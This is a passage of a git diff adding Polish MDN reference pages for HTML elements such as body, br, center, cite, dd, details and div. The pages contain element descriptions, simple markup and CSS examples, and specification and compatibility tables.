+ <dd>Margines dolnej części strony. <em>Ta metoda jest nieprawidłowa, zamiast tego użyj właściwości CSS {{cssxref("margin-bottom")}} na elemencie.</em></dd>
+ <dt>{{htmlattrdef("leftmargin")}} {{obsolete_inline}}</dt>
+ <dd>Margines lewej części strony. <em>Ta metoda jest nieprawidłowa, zamiast tego użyj właściwości CSS {{cssxref("margin-left")}} na elemencie.</em></dd>
+ <dt>{{htmlattrdef("link")}} {{obsolete_inline}}</dt>
+ <dd>Kolor tekstu dla nie odwiedzonych linków hipertekstowych. <em>Ta metoda jest nieprawidłowa, zamiast tego użyj właściwości CSS {{cssxref("color")}} w połączeniu z pseudo-klasą {{cssxref(":link")}}.</em></dd>
+ <dt>{{htmlattrdef("onafterprint")}}</dt>
+ <dd>Funkcja do wywołania po wydrukowaniu dokumentu przez użytkownika.</dd>
+ <dt>{{htmlattrdef("onbeforeprint")}}</dt>
+ <dd>Funkcja do wywołania, gdy użytkownik żąda wydrukowania dokumentu.</dd>
+ <dt>{{htmlattrdef("onbeforeunload")}}</dt>
+ <dd>Funkcja do wywołania, gdy dokument jest w trakcie ładowania.</dd>
+ <dt>{{htmlattrdef("onblur")}}</dt>
+ <dd>Funkcja do wywołania, gdy dokument straci ostrość.</dd>
+ <dt>{{htmlattrdef("onerror")}}</dt>
+ <dd>Funkcja do wywołania, gdy dokument nie zostanie załadowany prawidłowo.</dd>
+ <dt>{{htmlattrdef("onfocus")}}</dt>
+ <dd>Funkcja do wywołania, gdy dokument uzyska ostrość.</dd>
+ <dt>{{htmlattrdef("onhashchange")}}</dt>
+ <dd>Funkcja do wywołania w przypadku zmiany części identyfikatora fragmentu (rozpoczynającego się znakiem hash (<code>'#'</code>)) bieżącego adresu dokumentu.</dd>
+ <dt>{{htmlattrdef("onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Funkcja do wywołania po zmianie preferowanych języków.</dd>
+ <dt>{{htmlattrdef("onload")}}</dt>
+ <dd>Funkcja do wywołania po zakończeniu ładowania dokumentu.</dd>
+ <dt>{{htmlattrdef("onmessage")}}</dt>
+ <dd>Funkcja do wywołania, gdy dokument otrzyma wiadomość.</dd>
+ <dt>{{htmlattrdef("onoffline")}}</dt>
+ <dd>Funkcja do wywołania, gdy zawiodła komunikacja sieciowa.</dd>
+ <dt>{{htmlattrdef("ononline")}}</dt>
+ <dd>Funkcja do wywołania po przywróceniu komunikacji sieciowej.</dd>
+ <dt>{{htmlattrdef("onpopstate")}}</dt>
+ <dd>Funkcja do wywołania po przejściu użytkownika do historii sesji.</dd>
+ <dt>{{htmlattrdef("onredo")}}</dt>
+ <dd>Funkcja do wywołania, gdy użytkownik przeszedł do przodu w historii operacji cofania.</dd>
+ <dt>{{htmlattrdef("onresize")}}</dt>
+ <dd>Funkcja do wywołania po zmianie rozmiaru dokumentu.</dd>
+ <dt>{{htmlattrdef("onstorage")}}</dt>
+ <dd>Funkcja do wywołania, gdy obszar pamięci masowej ulegnie zmianie.</dd>
+ <dt>{{htmlattrdef("onundo")}}</dt>
+ <dd>Funkcja do wywołania po cofnięciu się użytkownika w historii operacji.</dd>
+ <dt>{{htmlattrdef("onunload")}}</dt>
+ <dd>Funkcja do wywołania, gdy dokument wygasa.</dd>
+ <dt>{{htmlattrdef("rightmargin")}} {{obsolete_inline}}</dt>
+ <dd>Margines prawej części strony. <em>Ta metoda jest nieprawidłowa, zamiast tego należy użyć właściwości CSS {{cssxref("margin-right")}} na elemencie.</em></dd>
+ <dt>{{htmlattrdef("text")}} {{obsolete_inline}}</dt>
+ <dd>Kolor tekstu na pierwszym planie. <em>Ta metoda jest nieprawidłowa, należy użyć właściwości CSS {{cssxref("color")}} na elemencie.</em></dd>
+ <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt>
+ <dd>Margines górnej części strony. <em>Ta metoda jest nieprawidłowa, należy użyć właściwości CSS {{cssxref("margin-top")}} na elemencie.</em></dd>
+ <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt>
+ <dd>Kolor tekstu dla odwiedzonych linków hipertekstowych. <em>Ta metoda jest nieprawidłowa, należy użyć właściwości CSS {{cssxref("color")}} w połączeniu z pseudo-klasą {{cssxref(":visited")}}.</em></dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Tytuł dokumentu&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;p&gt;To jest akapit&lt;/p&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '&lt;body&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Zmieniono listę funkcji niezgodnych z wymaganiami.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Przestarzałe, wcześniej wycofane atrybuty. Zdefiniowano zachowanie niezgodnych i nigdy nie znormalizowanych <code>margintop</code>, <code>marginleft</code>, <code>marginright</code> oraz <code>marginbottom</code>. Dodano atrybuty <code>on*</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '&lt;body&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Wycofane atrybuty <code>alink</code>, <code>background</code>, <code>bgcolor</code>, <code>link</code>, <code>text</code> oraz <code>vlink</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.body")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{HTMLElement("html")}}</li>
+ <li>{{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/pl/web/html/element/br/index.html b/files/pl/web/html/element/br/index.html
new file mode 100644
index 0000000000..37fcda5aa6
--- /dev/null
+++ b/files/pl/web/html/element/br/index.html
@@ -0,0 +1,41 @@
+---
+title: br
+slug: Web/HTML/Element/br
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/br
+---
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Element tworzy w tekście przełamanie linii (powrót karetki). Jest to pusty element, zatem nie może mieć żadnej zawartości i zamykającego znacznika (<code>&lt;br&gt;</code>). Jest on użyteczny przy pisaniu wiersza lub adresu, gdzie ważne jest miejsce przełamania.</p>
+
+<ul>
+ <li>Dozwolona zawartość: brak</li>
+</ul>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<pre class="brush:html">Mozilla Foundation&lt;br&gt;
+1981 Landings Drive&lt;br&gt;
+Building K&lt;br&gt;
+Mountain View, CA 94043-0801&lt;br&gt;
+USA
+</pre>
+
+<p>Powyższy HTML daje w efekcie:</p>
+
+<p>Mozilla Foundation<br>
+ 1981 Landings Drive<br>
+ Building K<br>
+ Mountain View, CA 94043-0801<br>
+ USA</p>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p><a href="/pl/docs/HTML" title="HTML">HTML</a> nie wymaga domknięcia tego znacznika, natomiast już w <a href="/pl/docs/XHTML" title="XHTML">XHTML</a>-u każdy element musi być domknięty, zatem znacznik będzie wyglądał następująco: <strong><code>&lt;br&gt;</code></strong>.</p>
+
+<p><strong>Nie</strong> używaj <code>&lt;br&gt;</code> do zwiększania przerw pomiędzy tekstem, korzystaj w tym celu z właściwości CSS <code>margin</code>.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><a href="/pl/docs/HTML/Element/p" title="HTML/Element/p">Znacznik <code>&lt;p&gt;</code></a></p>
diff --git a/files/pl/web/html/element/center/index.html b/files/pl/web/html/element/center/index.html
new file mode 100644
index 0000000000..4fce8b05ab
--- /dev/null
+++ b/files/pl/web/html/element/center/index.html
@@ -0,0 +1,36 @@
+---
+title: center
+slug: Web/HTML/Element/center
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/center
+---
+<p>
+</p>
+<h3 id="Podsumowanie_Deprecated_inline" name="Podsumowanie_Deprecated_inline"> Podsumowanie {{ Deprecated_inline() }} </h3>
+<p>Element <code>&lt;center&gt;...&lt;/center&gt;</code> jest <a href="pl/HTML/Elementy_blokowe">elementem blokowym</a>, który może zawierać akapity i inne elementy blokowe oraz liniowe. Wewnętrzna zawartość tego elementu jest wyśrodkowana w poziomie względem zawierającego ją elementu (zazwyczaj <i>body</i>). Ten znacznik jest wycofywany w HTML 4 (oraz XHTML 1) na rzecz własności CSS <code>text-align</code>, która może być zastosowana do <a href="pl/HTML/Element/div">elementu <code>div</code></a> lub do pojedynczego <a href="pl/HTML/Element/p">akapitu</a>.
+</p>
+<h3 id="Przyk.C5.82ad_1" name="Przyk.C5.82ad_1"> Przykład 1 </h3>
+<pre class="eval"> &lt;center&gt;Ten tekst będzie wyśrodkowany.
+ &lt;p&gt;Jak również ten akapit.&lt;/p&gt;&lt;/center&gt;
+</pre>
+<h4 id="Rezultat" name="Rezultat"> Rezultat </h4>
+&lt;center&gt;Ten tekst będzie wyśrodkowany.
+<p>Jak również ten akapit.</p>&lt;/center&gt;
+<h3 id="Przyk.C5.82ad_2_.28alternatywny_CSS.29" name="Przyk.C5.82ad_2_.28alternatywny_CSS.29"> Przykład 2 (alternatywny CSS) </h3>
+<pre class="eval"> &lt;div style="text-align:center"&gt;Ten tekst będzie wyśrodkowany.
+ &lt;p&gt;Jak również ten akapit.&lt;/p&gt;&lt;/div&gt;
+</pre>
+<h4 id="Rezultat_2" name="Rezultat_2"> Rezultat </h4>
+<div style="text-align: center;">Ten tekst będzie wyśrodkowany.
+<p>Jak również ten akapit.</p></div>
+<h3 id="Przyk.C5.82ad_3_.28alternatywny_CSS.29" name="Przyk.C5.82ad_3_.28alternatywny_CSS.29"> Przykład 3 (alternatywny CSS) </h3>
+<pre class="eval"> &lt;p style="text-align:center"&gt;Ta linia będzie wyśrodkowana.&lt;br /&gt;
+ I ta linia również.&lt;/p&gt;
+</pre>
+<h4 id="Rezultat_3" name="Rezultat_3"> Rezultat </h4>
+<p style="text-align: center;">Ta linia będzie wyśrodkowana.<br>
+I ta linia również.</p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Zastosowanie <code>text-align:center</code> do elementu <code>div</code> lub elementu <code>p</code> centruje <em>zawartość</em> tych elementów, pozostawiając ich całkowite wymiary niezmienione. </p><p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/center" } ) }}
diff --git a/files/pl/web/html/element/cite/index.html b/files/pl/web/html/element/cite/index.html
new file mode 100644
index 0000000000..da04717a5b
--- /dev/null
+++ b/files/pl/web/html/element/cite/index.html
@@ -0,0 +1,38 @@
+---
+title: cite
+slug: Web/HTML/Element/cite
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/cite
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;cite&gt;</code> zawiera cytowanie lub odwołanie do innych zasobów.
+</p>
+<ul><li> Typ elementu: <a href="pl/HTML/Elementy_liniowe">inline</a>
+</li><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">inline</a>
+</li></ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<h4 id="Oznaczanie_autora_cytatu" name="Oznaczanie_autora_cytatu"> Oznaczanie autora cytatu </h4>
+<pre> As &lt;cite&gt;Harry S. Truman&lt;/cite&gt; said, &lt;q&gt;The buck stops here.&lt;/q&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:
+</p><p><img alt="Image:HTML-cite.png">
+</p>
+<h4 id="Oznaczanie_.C5.BAr.C3.B3d.C5.82a" name="Oznaczanie_.C5.BAr.C3.B3d.C5.82a"> Oznaczanie źródła </h4>
+<pre> Więcej informacji można znaleźć w &lt;cite&gt;[ISO-0000]&lt;/cite&gt;
+</pre>
+<p>Powyższy HTML daje w efekcie:
+</p><p>Więcej informacji można znaleźć w <cite>{{ mediawiki.external('ISO-0000') }}</cite>
+</p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Aby usunąć kursywę z elementu <code>&lt;cite&gt;</code>, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/font-style">font-style</a>.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/q">Znacznik <code>&lt;q&gt;</code></a>
+</li><li> <a href="pl/HTML/Element/blockquote">Znacznik <code>&lt;blockquote&gt;</code></a>
+</li></ul>
+<p><br>
+{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/cite" } ) }}
diff --git a/files/pl/web/html/element/code/index.html b/files/pl/web/html/element/code/index.html
new file mode 100644
index 0000000000..de90a45916
--- /dev/null
+++ b/files/pl/web/html/element/code/index.html
@@ -0,0 +1,23 @@
+---
+title: code
+slug: Web/HTML/Element/code
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/code
+---
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Element <code>&lt;code&gt;...&lt;/code&gt;</code> służy do definiowania użytego kodu. Jest on elementem <code>inline</code> z przypisaną domyślnie czcionką <code>Lucida Console</code>.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval"> Zwykły tekst. &lt;code&gt;To jest kod.&lt;/code&gt; Zwykły tekst.
+</pre>
+<h4 id="Rezultat" name="Rezultat">Rezultat</h4>
+<p>Zwykły tekst. <code>To jest kod.</code> Zwykły tekst.</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<ul>
+ <li><a href="/pl/HTML/Element/blockquote" title="pl/HTML/Element/blockquote">Znacznik <code>&lt;blockquote&gt;</code></a></li>
+ <li>Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/struct/text.html#h-9.2.1">Phrase Elements</a></li>
+</ul>
+<div>
+ {{ HTML:Element_Navigation() }}</div>
+<div>
+ {{ languages({ "pl": "pl/HTML/Element/code", "fr": "fr/HTML/Element/code", "en": "en/HTML/Element/code", "ja": "ja/HTML/Element/code" }) }}</div>
diff --git a/files/pl/web/html/element/comment/index.html b/files/pl/web/html/element/comment/index.html
new file mode 100644
index 0000000000..6c7c3b7187
--- /dev/null
+++ b/files/pl/web/html/element/comment/index.html
@@ -0,0 +1,33 @@
+---
+title: comment
+slug: Web/HTML/Element/comment
+tags:
+ - 'HTML:Opis_elementów'
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Element HTML <code>&lt;!-- ... --&gt;</code> (komentarz) jest używany do oznaczania tekstu, który nie jest wyświetlany użytkownikowi. Znaczniki komentarza mogą otaczać tylko kilka słów lub całe fragmenty strony. W szczególności ciągi myślników (---) nie powinny się pojawiać wewnątrz znaczników komentarza.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval"> &lt;p&gt;Spędziliśmy miłe chwile podczas naszych letnich wakacji. &lt;!-- Opowiedzieć tutaj
+ o Wielkim Kanionie. --&gt; Lecz naprawdę wspaniale jest wrócić.&lt;/p&gt;
+</pre>
+
+<h4 id="Rezultat" name="Rezultat">Rezultat</h4>
+
+<p>Spędziliśmy miłe chwile podczas naszych letnich wakacji. Lecz naprawdę wspaniale jest wrócić.</p>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Komentarze HTML są widziane przez końcowego użytkownika poprzez funkcję przeglądarki "Pokaż źródło", zatem nie powinny być używane do trzymania istotnych informacji.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html401/intro/sgmltut.html#h-3.2.4">Comments</a></p>
+
+<p>{{ HTML:Element_Navigation() }}</p>
+
+<p>{{ languages( { "en": "en/HTML/Element/comment" } ) }}</p>
diff --git a/files/pl/web/html/element/dd/index.html b/files/pl/web/html/element/dd/index.html
new file mode 100644
index 0000000000..198a509861
--- /dev/null
+++ b/files/pl/web/html/element/dd/index.html
@@ -0,0 +1,33 @@
+---
+title: dd
+slug: Web/HTML/Element/dd
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/dd
+---
+<p> </p><p><br>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <b>opis definicji</b> (<code>&lt;dd&gt;</code>) wskazuje wyjaśnienie definicji terminu znajdującego się wewnątrz <a href="pl/HTML/Element/dl">listy definicji (<code>&lt;dl&gt;</code>)</a>. Ten element może występować tylko jako dziecko <a href="pl/HTML/Element/dl">listy definicji</a> i powinien być poprzedzony przez element <a href="pl/HTML/Element/dt">termin definicji (<code>&lt;dt&gt;</code>)</a>.
+</p>
+<ul><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_blokowe">blokowa</a>, <a href="pl/HTML/Elementy_liniowe">liniowa</a>
+</li><li> Dozwolony w: <a href="pl/HTML/Element/dl"><code>&lt;dl&gt;</code></a>
+</li></ul>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<dl><dt>nowrap {{ Non-standard_inline() }}
+</dt><dd>Jeśli wartość tego atrybutu jest ustawiona na <code>yes</code>, tekst definicji nie będzie się zawijał. Domyślną wartością jest <code>no</code>.
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre class="eval"> &lt;dl&gt;
+ &lt;dt&gt;wiki&lt;/dt&gt;
+ &lt;dd&gt;Strona lub podobne źródło, które pozwala na dodawanie i edycję zawartości kolektywnie.&lt;/dd&gt;
+ &lt;/dl&gt;
+</pre>
+<h4 id="Rezultat" name="Rezultat"> Rezultat </h4>
+<p></p><dl><dt>wiki&lt;/dt&gt;</dt><dd>Strona lub podobne źródło, które pozwala na dodawanie i edycję zawartości kolektywnie.&lt;/dd&gt;</dd></dl> <h3 id="Notatka" name="Notatka"> Notatka </h3>
+<p>W <a href="pl/HTML">HTML</a> znacznik zamykający <code><b>&lt;/dd&gt;</b></code> nie jest obowiązkowy. Wymagany jest natomiast w <a href="pl/XHTML">XHTML</a>.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><a href="pl/HTML/Element/dl">Znacznik <code>&lt;dl&gt;</code></a>, <a href="pl/HTML/Element/dt">Znacznik <code>&lt;dt&gt;</code></a>
+</p><p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/dd" } ) }}
diff --git a/files/pl/web/html/element/details/index.html b/files/pl/web/html/element/details/index.html
new file mode 100644
index 0000000000..9d69a5c0ae
--- /dev/null
+++ b/files/pl/web/html/element/details/index.html
@@ -0,0 +1,195 @@
+---
+title: <details>
+slug: Web/HTML/Element/details
+tags:
+ - Element
+ - Elementy interaktywne HTML
+ - Referencja
+ - Web
+ - details
+translation_of: Web/HTML/Element/details
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong><code><font face="Open Sans, arial, x-locale-body, sans-serif">Element </font>&lt;details&gt;</code></strong> w języku HTML<strong> </strong>jest używany jako widżet (określany często jako spoiler), z którego użytkownik może uzyskać dodatkowych informacji.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategoria treści</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, root sekcji, treść interaktywna, treść klikalna.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dopuszczalna zawartość</th>
+ <td>Jeden element {{HTMLElement("summary")}} będący bezpośrednim pierwszym dzieckiem</td>
+ </tr>
+ <tr>
+ <th scope="row">Znaczniki pomijane</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Dopuszczalni rodzice</th>
+ <td>Dowolny element <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Rola ARIA</th>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th scope="row">Interfejs w DOM</th>
+ <td>{{domxref("HTMLDetailsElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Istnieje możliwość dopisania do elementu  <a href="/en-US/docs/Web/HTML/Global_attributes">atrybutów globalnych</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>Boolean świadczący o tym, czy element ma być otwarty bądź zamknięty po załadowaniu strony. Domyślnie jest to wartość <code>false</code> mówiąca elementowi, aby był zamknięty.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: html">&lt;details&gt;
+ &lt;summary&gt;Szczypta detali&lt;/summary&gt;
+ &lt;p&gt;Informacje szczegółowe na dany temat.&lt;/p&gt;
+&lt;/details&gt;
+
+&lt;details open&gt;
+ &lt;summary&gt;Jeszcze wiecej szczegółów&lt;/summary&gt;
+ &lt;p&gt;Tu jest jeszcze wiecej informacji szczegółowych&lt;/p&gt;
+&lt;/details&gt;
+</pre>
+
+<h3 id="Rezultat">Rezultat</h3>
+
+<p>{{EmbedLiveSample("Przykład")}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> Jeżeli rezultat nie działa u Ciebie poprawnie, zobacz {{anch("kompatybilność z przeglądarkami")}}, aby sprawdzić, czy Twoja przegladarka wspiera ten element.</p>
+</div>
+
+<h2 id="Przykład_z_ostylowaniem">Przykład z ostylowaniem</h2>
+
+<p>Zgodnie z najnowszą specyfikacją, Firefox generuje element summary jako <code>display: list-item</code> przez co może być stylowany tak jak elementy listy. Zgodnie ze starszą specyfikacją, Chrome oraz Safari posiadają  <code>::-webkit-details-marker</code> pseudo element, który może być stylowany.</p>
+
+<p>Dla cross-browsingu, Firefox ukrywa znacznik summary poprzez <code>summary { display: block }</code>, a z kolei Chrome i Safari poprzez <code>::-webkit-details-marker {display: none;}</code>. Stylowanie może być wtedy odpowiednio przeprowadzone.<br>
+ Przykład poniżej używa CSSa umozliwiajacego powrót znacznika do punktu wyjścia</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;details&gt;
+ &lt;summary&gt;Szczypta detali&lt;/summary&gt;
+ &lt;p&gt;Informacje szczegółowe na dany temat.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">summary {
+ display: block;
+}
+
+ summary::-webkit-details-marker {
+ display: none;
+}
+
+summary::before {
+ content: '\25B6';
+ padding-right: 0.5em;
+}
+
+details[open] &gt; summary::before {
+ content: '\25BC';
+}
+</pre>
+
+<h3 id="Rezultat_2">Rezultat</h3>
+
+<p>{{ EmbedLiveSample('Przykład_z_ostylowaniem') }}</p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-details-element', '&lt;details&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'semantics.html#the-details-element', '&lt;details&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Początkowa definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>12</td>
+ <td><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/detailssummary?filter=f3f0000bf&amp;search=details">In Development</a></td>
+ <td>{{CompatGeckoDesktop("49.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15</td>
+ <td>6</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/detailssummary?filter=f3f0000bf&amp;search=details">In Development</a></td>
+ <td>{{CompatGeckoMobile("49.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{HTMLElement("summary")}}</li>
+</ul>
diff --git a/files/pl/web/html/element/div/index.html b/files/pl/web/html/element/div/index.html
new file mode 100644
index 0000000000..d7edffc9c6
--- /dev/null
+++ b/files/pl/web/html/element/div/index.html
@@ -0,0 +1,131 @@
+---
+title: '<div>: The Content Division element'
+slug: Web/HTML/Element/div
+translation_of: Web/HTML/Element/div
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML Content Division element</strong> (<strong><code>&lt;div&gt;</code></strong>) jest rodzajem pojemnika na </span>treść<span class="seoSummary">. Nie ma on żadnego wpływu na treść ani układ graficzny, dopóki nie zostanie ostylizowany z użyciem CSS. </span> Element <code>&lt;div&gt;</code> jako "czysty" pojemnik niczego nie reprezentuje. Zamiast tego, jest on używany do grupowania zawartości, dzięki czemu można go łatwo stylizować za pomocą atrybutu {{htmlattrxref("class")}} lub {{htmlattrxref("id")}}, oznaczające część dokumentu jako napisaną w innym języku (używając atrybutu {{htmlattrxref("lang")}}), i tak dalej.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategorie zawartości</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Tekst lub treść osadzona</a>, namacalna zawartosć.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dopuszczalna zawartość</th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Tekst lub treść osadzona</a>.<br>
+ Lub (w <a href="/en-US/docs/Glossary/WHATWG">WHATWG</a> HTML): Jeżeli rodzic jest elementem {{HTMLElement("dl")}}: jednego lub więcej elementów {{HTMLElement("dt")}}, po których następuje jeden lub więcej elementów {{HTMLElement("dd")}}, opcjonalnie zmieszanych z elementami {{HTMLElement("script")}} i {{HTMLElement("template")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Pominięcie znacznika</th>
+ <td>Brak, zarówno znacznik początku, jak i końca jest obowiązkowy.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwoleni rodzice </th>
+ <td>Każdy element akceptujący <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">tekst lub treść osadzoną</a>.<br>
+ Lub (w <a href="/en-US/docs/Glossary/WHATWG">WHATWG</a> HTML): element {{HTMLElement("dl")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Wsparcie <a href="/pl/docs/Web/Accessibility/ARIA">ARIA</a></th>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <th scope="row">Interfejs DOM</th>
+ <td>{{domxref("HTMLDivElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Element ten obejmuje <a href="/en-US/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<p>Atrybut <code>align</code> jest przestarzały; nie używaj go już dłużej. Zamiast tego należy użyć właściwości lub technik CSS takich jak <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> lub <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">CSS Flexbox</a> do wyrównania i pozycjonowania elementów <code>&lt;div&gt;</code> na stronie.</p>
+
+<h2 id="Wskazówki_dot._użytkowania">Wskazówki dot. użytkowania</h2>
+
+<ul>
+ <li>Element <code>&lt;div&gt;</code> należy stosować tylko wtedy, gdy nie może go zastąpić żaden inny element semantyczny (np. {{HTMLElement("article")}} lub {{HTMLElement("nav")}}).</li>
+</ul>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Prosty_przykład">Prosty przykład</h3>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;p&gt;Any kind of content here. Such as
